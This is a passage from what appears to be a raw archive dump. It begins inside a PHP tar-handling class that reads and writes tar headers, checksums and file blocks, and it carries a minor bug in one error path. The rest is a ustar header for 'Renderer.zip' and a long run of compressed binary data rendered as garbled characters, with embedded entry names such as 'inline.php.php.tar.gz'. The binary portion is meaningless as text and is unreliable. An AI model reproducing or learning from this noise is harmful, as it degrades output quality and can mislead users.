						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       Renderer.zip                                                                                        0000644                 00004014201 15217301643 0007042 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     |\S      inline.php.php.tar.gznu [              Xo8szMF۴e::I&4 E^fuv&iZؽK8sAL$ђ
,fQ8׋8X&=ƣ8P:Mk<G%1㴟̓[ ׽ptߛ7RDz
[c6L 3Gq>J\h08Sx.ik<rٟ0P
i(ƕPtSSx`*$`Q(0OxvV"E&2F]L,V02(B$%R9)2 %qojIQX',p8`	ɌɁ ZhWan+ݟ-ILE%'aaЇN[&:=Rٖ+4te@ζߢcX ndOʙ/n)ĔLA$FJh0- TQyAUNHUٻ{afC3!7+KH:e6/Ԙ1"i8C<ǣ&7x)dx[И^R/mjmc$C4'3,Zpe9&U3	Ji*{1q#3!01xg&:$VI H
K
Q*xd&o"2aN%u#\,ajgSWl֛<׹ۻ<.]Ɣ=a侥TÞi7:3]_9o܆jmG[!_zm%hʻm5B'tpvfYfڲE#~ۨ=kZy.q)"6ZL&tZ7lᎾ|@(M$RsaЯ3}՘`CY[G">{.7fW]Z4ǔq웩sI;8dXbfۺ^!xȪW/`[w3fY;evJ6&PT:rn	X۷3w_o(Kg
.0D&gR%PVcx$W|auύNR9iԪEW6{)x.UaA9^gaMnǻ:6^pP^N)&jU;1:A`z55n5#JKmjthS/PR>!Jwj3q&jRpd
/s
	o/p`p?u,nUTBή!fJW|zn+~j$k&xP#eA<ڪkBճovs~i^7W\^P93O0ۥRT;px۲Uz<(_K)_LfDtVb'P	w!IzG?_7ꊛ-Ւ*"	7zy 3n`\LRB$dm9ƙntL}.)e&~fŔ\R(5uq$tP˛ycԫj\X2Bʔ+WӾSN&p/C.cjCB\j'0QÝ6kw6l.4qj)L$'=oV-a37֢o;JhHlN[w/,   PK     |\Mk]  ]    cap.php.php.tar.gznu [              i#Ir(Ҷ8%GfAu%Q5}R Hdym}?x$hd̤(@Uΐ5U3aɐ%RDǎf#,?6;MSlGO$rC?Q~<?GdJUS/_+戟 ~#4˟/_Bg__o~?__7W{7w&__߾ ~3 ?$?>P~'H럁$	lA?&_/d܏yx/~if;+?|h?^? _A.=('7~y33_x?JWw߽
{?G'7Q/ԉ1Ē)#&#aO$Q\h8
ݲ."A0'ЌE%;xl3s?@FJk_4~MDKY%`˕w_=5N~]=en׍CǥL%Y|M1h؇e.BKහsSSd5ħ%A%@ӧeܠGOne&x㻼|w<ȢN(NbP􉇴sI#n1g)D3J'HXt,
hydfSW~,GMKeV0O).Ճi=Hµ͊6Aܻ=횀<} Ƴ}V GQS4ړp5h>;Q<^#s@ād:URT˳qyd+"XzE	VhYOǠ I%LSad.NSLdtZ.QLi+JH4;=_dFFĸجDaҋ'Cʎ_+I@XDP 2O@GEq|/&'ҵZ}Ka^C\PJ3 l
R`pq1h((XAd@X,%Z>@cG|G\Q<{= Jd1j;l*Uq$Mf(!F44m3~KzmvB]Jz;|
pס4* _ ױ<]#b=S	#4\5T9`Asg|4S`5U..,= q@l?Иq+ %!h `]!ad%i,R!\{zr_NFr0D ?G9a"#+"Oh,ji+dUiFC"(Ӏ2,ۛBC侂@YI6%4yp+,ؘk(D?(03Ab87`q7¨|q=Jo\A lGUK#D r|/̙Gxq)Y	-ә,=aD'6yh@HFϦ:U܊78&d Z[·K|>H菘d$FCQ'!xj;퐒~98v"~aȝ3 , T(
9PT*f!1 G !JY`00X#s@Ph+vX~[ޚUQbnK:塘Ts$<Peӣλ}Iҭcjus`5s2SKV[eu+ZEk|1ք^Қzyk|WԚ|5Z5 6TQj@ӵ
Q(ѣZ]Q4N_@ӱ~Jܻ|pUBaaj1,@1(Vmj }HZ@@Áz!vrtО9dVKo!'JG왣1j+G Zk"qHէ9PkV|]=l%ДJmF 9t<f? o6`6. q+pU0pOpP(&nDٱ,9丘1͈˴`6J+Abaշ%ˀKK&.AX HlW Zin]jrDX1	5q)j93HV	# nq`3Y]p8QK]L8E=#πg`D<^QW:nd	jhϊjSZ/DT	
O5
dJV[[~aM8~9Wd"p4TZ14
4uI	ĄR?zUxaFr,~_ d07i2X0RDɤ\<7o+ywvp{	#~1*#dx<ZM/sawo=	\DKh-:X9" ?~g	8ZhM&0nI(W.~;BVf0c,L6nTV^o)Ɩ'5fG=45Lk7B²sa;Fc~3٭в<@@g+-<.#<p_h6 mÕg$;v|-	70C32ka"7UQ@_6CA'	f2A'g*l QPଁw-0M NRF,Y	5TRV Bv}eݖ¬b.m5jhZD(`L зks~b:=26jj0De_%AfAiI	F)#__+D+@u9DoJ@I]7 xL*w1IKP+FBO?VAuI:.AN>݃g\;w9'YxV
F]_I{(i{G+vpÀ)Du xWx Ю[PӍg~Gb.{BK@($	hWP$<%PKB`wCZOOnWYaP<XT0薬\LkjAĥԃd)J3E'|çσ'?^TEE$ßvEs Y(;xe"HCޑx~GB pY5$$~0_ՃZ0q9.WxBQH	e'FQJ dXq&J`T	iXPRR50;NZ#X< i1~Vf*zD&Nl˦qN۲wﳙ59܃"HoxMSmP4}!-^i$8=ɏЕpo'Ɲ:wrW1ՙifedYM[rH!f:\'1Cm`heFNZ$aի`BF!kHn֣i!XÿSGv 	t06'8dV8h.(}gSY6\%LjE<.^Ts56\jZޢϻ48WGI3pARޙ4|3BY=puj	rEu$8R`+X0{'KU+Ez.cbZ  Q=f3!@-y![Q*ĺ)Ƞm~-3ĀʯnOhTMlDkN q
_fZ
*nQ#șgt5k,2hɠM'F^LV$9"/-`߸ޫjaapcWd;Vl|hK$!bbQuBsa"j.lM횅.D7Yd[nfjYD.乫9d?ӇU3W`8]_~ֵ$abjT$;]Zr]O&AnSp9 EtLzIvڵb0S%[m'?zoXoLV@1ߥ:&I~ꔆ9%Mɠ[}ލ7@fX.c^^,&[ӭ6#gqǈp>ͱEJ<K@12-.uV7LBRԇ-KMu@FeXl$\/%t\>pnENrÀ.]4@u-]JXRhA3ZVHu7rD Lq	]bR{'Ù:s>;fgN`n@u:z|Y9;חRT]g6G%+d}D$hDJ$ؙ+$/e}WH@q0>\q;Eh\ iih`jd/zs%[ 1ܮn9t/{&7OGs;8d2݂+A~Suc@$X
v9}2Kb mXҞrr	` tN5̈́%J{0}[ W|M?PĠ4-ӀojUKd
t*SaNoXoxLtx $	]CmC/.Xr2S/%}K@%<Cap	ķ	H,܁C+h5-6Ĩl"XO[vIM[B9%4[\;ܵl7Ukn}THj3v)_t
FRy:dYn{H|6\3GNHm.Gn;F"My
U2I1Rld4UjjLƸ>^#Rϧ iۈTO%d|s~۝ź5eCLajK"
(!?#){JK\p3!Ջ2S6Нz2fex4wH2:W| ;YzHI٥?X>Ť^Yq*|ϟT4Ut$I{+_xK
RφIFi̸h.4r,ote/9?NFR.HT1D3CCU
3]Hw9K1g_V,TJ7[ʢO+6'ba5%c)=2eN8,rjRA.;JA#ɀ\;Fc>-mAz,Uv.jMa
gKRu.j/BN2?TXt -tXxT͕l22[GehM_I=2o^> clЙҖ*;2Yxؘ@.|EM'us,lvt%(<\gٝn`@6@JX'>8d*?l*l6;5Vu,?-NYf|?S|T+"n1 Z56}C3_vz9dclZ*0=M.fHe~l.Wrf:Ԝj~nL.;R쓂w>a u6&I
QivRn{Ízi$Btɴ63 cΊtH`x&Br͔O3^^3drZwxN1XJK yO?,vgZ:}Fi/5k5?!=+\sh6K}Np!eچai5bc	Du	ZHɕ(Vvr6.%HuwVK=:qYޥWJ:}ך#4;
4jU)WkL6To5GܝƠJNQvlk'|FvcåPk1V`GWU}~Tx1!wckͬ6J[κ ޿VXy{۲M¼
Mt0;ov7 ƥuC;Aa^:{zQњ!qMݲ !,[PP 4ˡ{ViQDV}-`*|+o3#,!ouu~+ (g] u{<O@04ȭpwI:%ԍ9	;x2Â2|O"C4ZP.}8etw~d*Ty30C&UT8 ]ybMPuGBK	mi 'zjY0RT6A)ZtuZ< i淠pu\QtL^1tFP߃}~#	~#? A:qaA O0y+  ߬3f2xN?QB1f0mN}~.0iMm^W\Zϩjf٧b ?h6=ΩTu	$a`P%OKVO*H۠ҠV5鞰`ƹnDR}ȲCղm7=/W͏"6pZ@% d2C/Dj61>=ͩjvPׯyMvo3df6Abh荰1
FJa]XLTA(1EF:ٯg/9W\n2 ۄ`ޢ6{ٽIgF3E#Z@kM2[Zg#V*|͘3jXL&ilڠwЋY~xiviVs~QևaawGwǲo_7;ێւz%8qysO!n. )ȿ$/	"X87^biX58eMzڑ,}ʩftW]UP=Eksqf;n.ZPD
VJؙ*3}m	isOImLGù6e19C̵QeyȩI2bY\05
֌vx	SW-c>gn-HU8󙡪%F5~{-5ܸ~Ya1ϊraDqc>S*h=cHhTEg\PC+'G&X+lt,֨
kD;]WVa´3SjNqG=j2w;eRSc'=ͅ-:z2;Vv0m.QS@ 8?s|:Rs*p	Kp0jlK9CMi$1Rg[q8nD|.HwZ7wmiTOǎh!18i~exw}c.7=x>\~V
 7ZhL̆@ȷaӟmA(P6%.?u]C|Ti9!&G$73eh٣Ʃn}V֘=%g*6俩nӤp	2ˌ%vw6	jaΫ$7,fdAwMpb,ԅE|GlB.3{,<sqZ}AU>$b>~9u,/7yU3u%S6Nh	SrͲy9	Bzap!.Np|4T׏/?`S1^I=|T$DZ
"u,VbΦmH6	zxG mYеnRpAD&z&U'hp\DRG
-<-'\Sv|SH<В+fWSrDK-Wd5-a
aRNx!2 (5ql0W+|U}_ehY90
2 Z<KMkrxO	,)OokٴVdOPN >n]c= Jw~/ݙ*2%BLнnY F,k&4	OƄߌ&Ll'9>c̄s RX7!Ft'16FvLKr%xhL`\9q4(~qy9k5CV(hVpPh=لXU۬溊V7KAnooBX54˵:X>t24nG8M]ϔZ\K'ZFd8*?{17.%׾gggF<e0̶;j@!c䅏2;fKg\o$iq}ı'PUם;Ma=>.q6*a
VhvxYUnoFԽʕuzɽ>4Gv)%䐭24y_ls Z*(A{dC	P+O.	^Oz2[~IsUr,A30[Yh$7[%/7 y~C	dŋQ1(x@
j	>=->mXhj
Is"xxgQ?Aytҍ	0lQ&p\sgS\.VKa__}/,5r6~>#9:7M2J#j@~i@E,.>琅~"h<C.gX!F<u]kc[H-U?sl6Ofga-D֩ rAx:Z$L_.-aI[@ 22};aEI~;Ό⪵4 \iAY|`!U;¿=EV3ab,OdcEdYGjr>ZYo@yߏ|Obd|)\O5|7
VQ09mub!QL߭\}M3
I.+o:N{LdgE%LκvfcMjs!]uR(ɢHjHJb4WTŽ*)ubᰝ$}6de)2Y&Pl鱐LfaV%ϼV,JfL1J9$M-nqr&)ߢ=+N2%i2=l'K t>Sd.)'I~4}Fjĥ$nDFC+rtL5X#Nd&r:dj٤O&;dj(YlA|b-EkБSZps]O˳pX,]#0h<Ζ|&i,n暅锬ǙJ&JZU2\L<dJ{1<Q&r[N{y!M	)\)ʔ0X7ʝP.YzX=ۛ-0ꬴ>U2	[LvIbd}c1rT}>J_Y<YIrKlW
B'϶ƃpv))XSjη/BrLn+ࡓ7WejF@k?n
dh3N&(V蔒4fBxHLH.q#/2.IdiҩJv*>$SC*ERir7
cnR,%jnl0JҀ6lVRMHɐzܿ͐Y1*t'A@r|:/Pq+@tM5ŅҬvsbaR̿+l0~7+v)w3
5f^nBcb=q>fX6b6(TvR5-RzXYVLl%16ZN?n84éVnVeVi:-,-<V,WH?KuV=B;nnz/+]*fb;ctH.Uʏy2*zz(Z)a0Se q_/x	gꋼ1qR=&T;Zf<u|Ɛ[fS]Fu t@)@̕6#dMrWc+~;:32+\3\⩾Oڬ^I}v[z]hƗRQ>9w\0_ڥ;c[=efܦ۝ev[ZT76rZz*wc~[\5..݊>_7땿WF Ez#\CrϬr%`TRp*{Ru~Q,T]$*zMeÍCT3ΦcPx>|)ϗJL?W./vN\>Ǳb$7׾iSJb 9Gpj~.Cd-58Rj7ۢ_d#k*	#9KGbpe0({gxw^0"LnEJ*4kwwÖ.&X7鏫F;z~hj*t6&ĻygP|VYhL%6FWV{\A+XrUj_|;/L@br$ـ>JJZq";e=;vWdq~Qȸr/"F3;YZ֣P)YQe 0XOz#ͰW@l
dYKto}.uXz0?V =82@>gr	Twk#s&<lQylj-N7LD׻>6=zJ@DHWQa2c[_2vԋod:VX>oj}|^"lH7гn{[`p^fz]R܎U7<}UHdP$}4?MwRmqɧzr[XŊ#o~G	0Լ7<TJ?%r¾oB0*D|Iz^`f]&_lnJ~?iC׎4J+XXKՖ]u*y+R!W]e9ۆZ.F&cIZٴͅ4Um7jGʳT[V{loz*bjiOƏ|%U9_d,\-v݊>cbk׸rբd:zyX3*P:^ZajXzW|x9#;n6*{wHY1y@p6#^(HK(0K!%{YiTÇOrV*BR`5{ݫQq1/nR)Ja/Ɣ:PZFe"/N^(FNlnZ&f
8Ly)yseIG;O`aCf/zǖoMmJ]ʏ3OxYQkK3P5@}:ޓkA|ÓjD!kkdƆ ukѭ7;^eZ|M}V^$Ǎ,wnuZCHSڨ_wz+I
m$3تwy| F|nթ;!mEd2~c&)ZEZޘ.VD5Wr{GNc[kƥI&s\v=E`?47'l4gF8Z0 G^o$[h|>Iljz)DKFg:k&Uݎ1QPȍ(0bFHSa(/ñ=қI52"'8ٟd I )@GׁX;ĳAs`ҭ7`u	mqgzL6I`SHSoͳ`9F,8X'#,))Jn7L6n$>0pɈn	F,J7n6?ӻFmo3V,20KnWDe{AƲ@+2-u]~dLcI2(8; R)>dNn䓥\1tvhhfrx](m4cLr2R¦;^֛ƒP<J!+VqmtR|99oaI Oev ]ۜĢZ|G^LN)8,M癘֪ioi[3'f/ūYX́M;)Y,Ur;xҚen]?R}^ɛm;Pfd`2ʪȅlfo3a44&Xj,5N\#97ج$SCo?[	|8՞֭Xe\yݶFrO:w||
Rjo4ZFS.PwɖޱrIl$rjCzm34ff|Pmjj@џb9ɏd}#J!<xs^!N5KR5j.=;zB/xӥQ^*}FURdҰHoY1$|d|xBŢu^ U,W{X6\9(Wnv:rEKi,Kaa9--------------䧳~6Tb*=HyJ`+/¬`3N徝"&J9R},(7ەB/ȭ7iD=Xaͽ$CF%XCF)1DlkM!C삹X+޿*fPtþ)uqPNVЌz]P#6ߓi.E{"\kEJJf;x'>!nzժ` 23L+_֪zr632(k}o(QζΒd&^әBfKt=$'Q@P招@aJB}(Vp5S8qT+X4,/bn2ὙM 엽2C6?vZnv0TR)/n'ta	Jq>FvdJq8,'FhlPhBڄ̚Ng-NFӛ2_<b|f}s+M.ٴ+Jé06UtK;|r%a/W(rd̮r>ZaS6w	"aG^ZM~tw2Ax]=z'#5`"_\RFz`<8+#с]<F5 T X!G =(PNV$WBs*[EW#Qe1=w[bms7/fA+Eƫ0ނn}o]-P@OHo5(܋ELFl=
I0U'UdyeiFb9&ߏ&&(ƫ*ǻ0wG#0][IQIfPl͒uR0uE UtWlqX+Iҡ*R;^oBJXzno1ܔšW
quꋥǇ(E6},w}Gb$rYtE{IJ00R1|G,EK0ih姫0^yc+:*⬔lNS]I喟_{lsnͲTXW$n-H)n_(: w<S*J}Yi8*!sf
(0с~H8;lG`%4>r^3<s\c3rciXإVQ"%y]qWȆL)S3jkNC=+ XvAlJ 
hE97[ʒfrK{0Lq~8\*鋯8>R֠4 +	Ձ4sUkiT)Ur5.њw:aޟb<\o3T`<YyzTaXlbnXoljTkyQ:ҁ˃bc``7<!luf)	M~dh"0<
^R;2}V;2`##N/Ԁb0&@ɷ3r?TyBNoyyS[}' 71 FS[I"~z^|`05q1H)ـk}r>' y߇lWW
eaı\i͉
<QCwM2ero}x	
Q)-_2OԫNN,x-Eh|hvGc[ M;aFzAx.Pn%HDQުg͡ڌ8ƱM8SeTè%NaUD!Lاv}/e
(bǲ"u*(x(P*Ԃ1. ˓k!V-:/	aCP:+*^^F`h@p@l0
˳f3<j$zMq	||e;lr+@ c	5x2R!$-/O1iDD'#φɃ(ra^v9{._,`8ci%9M*|шgG_kl@G_-2>;Pj/D yir>W=q>Kw
&=V6	%$dO91ʋLaDzR]>Bٚ%v$-h_2 Q̜z ({:%`slAbarb9
b{ףe9 gzҨqh6$ⷽ2LmuudȮ\Pѓuaˢn rP\+Zةv|~g+b.	qSDvV\[>UiYkWS!u]
K\O2l<H	W>X"߱Sࡇ(|΄WFn"ךMi %ȭ^7z.>ɥ|s7mdw&<eJ75֟c)PD$vr\ac(ӫ>u2H_ũ}a?́Լ'I%3N;-pJ@O.vP]ٵ;!^Y4:;mnbĄ"/jK.ƾLyH9j}kt#D2U8Lkd}Ԛ\t+*$(i>fIuKHT'<~B4YHۧ:c'>?ت|Y.@j#@F4!R@ʘ8m
,hAPSJ	}Ӏ8*A!~}difs"t \c	rih'񡁼Vo0?C(Hߛ00
WGG&sn'!F61G㈯Q+6ۭSB`jY|?-śYwNN~?vfa0M@tS(F91e,;YhZ4TFi;b5b+2j8ou(.-Kd#.(=q"T4^*Pc(1焝B Vя ȩ.9e`ԛ 3a U.c@JѮ3kw,S%Fa&(N!@Xofn	ΏjZխSHU9^px`c6I|zI~og@>NX$BkSwf'.ٱ 9sX&'19;eLYN(s;E:\UW=x)njhu;9\6#};UZ}hEQZgXg"j[xT!pI-+7 U\R.5x0Bz΢JI	^e~w@<L-1U{^DA6\BCZ	`wYq}
O(,aǜD2qR-3r|{:WM"+f.k\9Ɖa9:3p>iqƞ&[ɮ
,É	"u.YINBw*r&xOZr{i/z`e	IN԰̓DѤ32w`W6q%	p^H2c&\EL* ıK(Ռ'1\q#(,3lc<:2J<C|]f	DAMQk(0׍:$lK-WB6V
&h2xlKOz*oז Iǰ4"U5Vڅ:Z/2Wx4=YmLL@y٠@%,HԢ`ȔhiZĉ' 
t^_Sq  |\P~rl,`x8&Iꎗk{\$!QUkYN<Ko4?K`ܨccP3}r#ǒCن"	u'j'({0S)|NTY
Y
>#UV b
x{ysymRDP<ɉ.൤+Ep@hJ,F7rq:dQ%ɏ7I!XnnV	y'k^dS65Z%3U	'LNzogS^0C|Dz?p}D&S՝KV+v#B1?t@tQ5ƢbR2^fTxY^עaT%~ter1ڶ,n[nAw?vKюQn\uiqiVeжe>@7]Yhpa;^N.ܙ8aDvWW^ށ¾LTVK2O02c8|	|[	zՖPP2qL{PX6]`KAc"1Za%bMSM8r9,Z!G4+xrSV*֪] ɼs`OM<Z.GTl`3=c8 Qs簦e4l@F `-	E۴	R:mŸK Z8:!尠7^EÔEvy-0o-*OCqAn1A}犄Zm oֲc17p0^+
f]ZSVOZ:၀>*']->|8]!"SlfZs 'I\W/2! &S?9l3٦i|w"=<Vh`4؛SC4xUnwݞi~yKTBRhB+60)x]:lPH
jX3g? -5qOHԄAw #Jw-Z=}gGD[SEf,6w(&AXX.Ls=Q+h:e0:AN`2F?)rhvFMsI_c-q.?F	1j2yq5qB>7?:v^OJ*H/!T@KsF5dQ|)6pG]%!Z2Ɲ^jug*Hp*?YZ|Z57g	PWkyU9d=ja0r@uUK%a)n.*yV #%:n8ZUc=/.ѪZ-B2+G5[j}VHC	B0`p؈^7P$ l3B3Z/s9m3$ry	Mo}^KͳJdoYDB,`$T `Xْz0>p8sM#,9g@̃Kg(N2MPzCgVXKBºGz~,1Q&:jR˚H[:vJ0g'2QP'ℝzZ~BJQмU'WTjTi"h'a~"H ){fk.6Ds}ϻU>NuPy@_Ig+vD;Z[w7ߙx	9tsbmasӖE8OfV 8zvj5;-f7YԍX/q?:e:a25P,NfW`͊O8c,DpyLD@],rI&;BI'%p;BwGhwG|p=.5F S1 811/n6ĎP1dhJ~;h<6zM<GQpLmV:Á
ӤFM1>?L*3s]EdX90XF	#$!xc2xqGG6ƅac
lu(!5^`8NF,с4t΄DQ4UNZgU@PBMQ32Pe:z*8dy-qt-z*03VfB-/lEje<i>({E
YE3ECǅK U&m:Imi,Ҙ⍳t87`nJ=S"w~'֝_;ݠ*p)ihisGlqFD)FmmH`B&*F<-qׄE-ӏ7ژBɗ[@1q4쟥~,<kXUb6x𘘚-z촠Q% #SB-;4j.AFy͉L5ᶶwC1OKj?bP@Bhiq'2\=m+JD"^<#::5]}TQ0G@qT.Ocp"b&0s|piz"CaK24al2ܦp 5zĩ)@* 2^ˉq5FY	tݩ-z\Gbthr=A0ohP:А =r%.F`]԰%0X (N2*G-sA F84++HwD(滆&> p܈ĞeA/	^Nd	Bi'cw"#+"k\Ck:{4A׎p[{WhNY\^
bl$o]$HM.,9߳c X	ȵ?bهl{K_+"eJpJUz?'nnZEikxA/pfVVPQ']u1B9v9'	T5&%xw*aipbrDsS$pZh
Ɔq;HӖØ&]{7xv؛B5
{UwR,cjE	*D}oPIﳧ[l%6]-{+]^=wL6ڹlɚtLĂ%ӼPxi
XTyŤ}	TZ`nE*cW S]^x%bGOȣZG.Wo@u&J%<+ϔMS->k[Bh7@z IE{C5`;N*ׁs--|@jdpR:Xd,~{`x-:w:@! onǦ
zt 3Y`>>f#U ڡ+ݬ l/fŁdNj}Q<|IТ$/]iA9Kf,,
	B=H8ÓKscݨ|GV,Y)C.8~
V+I^@e7 "Æ@'1!IjQ@a77e\qefiCԏR*ϒ50j-ph2l`֣@hԈQυ
市;wBM@N5*Dm-qׄGxFhr6$pYVPYNW{qDM!\5=`? we!	@ͦh
m<SO]HLm5,abb`HB,Oiu( b1zgvnSiS5(@:l%9lhZLB~r!{xR{O$Se!rU8eDFڽIʛY:LgL!j@gڈ1si|k!y狞fSڔAӪyVU*r3UuWchNZ)>Q'+}5y1s&h7teI`Ctya<s1.4YncFm Ϳ0I8e	,2>zOUjG$&5-M)TQ^`f~Aoy81;F&ߢvq,r.WKF)֞!6jiJMLP2O?ω0b~)W-}A]+=$I	`abIvwaj砌;l4صq %<@'kHA<CR23a<'>K520VL`j-1_M:QY^J *6PQFs7G7S}cOJ>-i~n5ձ23ǂ7@gő/-R>|: :iޯ%)[M;ZXB{	-R7͑xwW+h MaKO(I)f$x@բ݆;V=$uuGW,ZlSqi`r>lF"AVkMp)tX=  ,7fޠ a\8|a 堼h/o(xDD/{|Y[G%}-I[뤣jz8ta^x=8G?`R=FsJp:&ud	?Qj7 ݥH)TuPteh,|&6GzɁG1q<<gΔˀAhͥ"88*M3K3^]	AND8v"MffB#PQ:wnN:"PUTK'bʆ[$=9kDܥj<aupb	® ٵG7x  i,v5޷~%mpAcL -q+Cwn(;N{p 8OTr6L,S =g֝7lz[(Ӟj6(f9	ڠ։ٍF^ښAux~g =m]m`@0M}Gƿ%ԓmǓ~T"ۆO*g'ˢ>;"/.̺Gi..г_gPt{YY0[0DuX{ĥ_)<*vU^2__LPK,&i#p#%Q<T7Fk\Cuh훸Rs:exVlOxxV!S4ebP^5A3OVfT2MV5y bbg[ZDv鱮Zqjj:֭5/g=`O}V3eX+ӘAM&ޞz?8'aXU6np
K 3[BYRtY8q`}\{d?$ݛDZ%ǞK#Go@'AA@B5<[|E}>$[
4Hi*

=/ I |T [$YRSvLRᐤLhf您> "Cch"ƨ3vȀyL pk/bB,@IpĶ0#qСC&hʺvw[JXIM qC7f1kAgt!T9z.{q)od)q
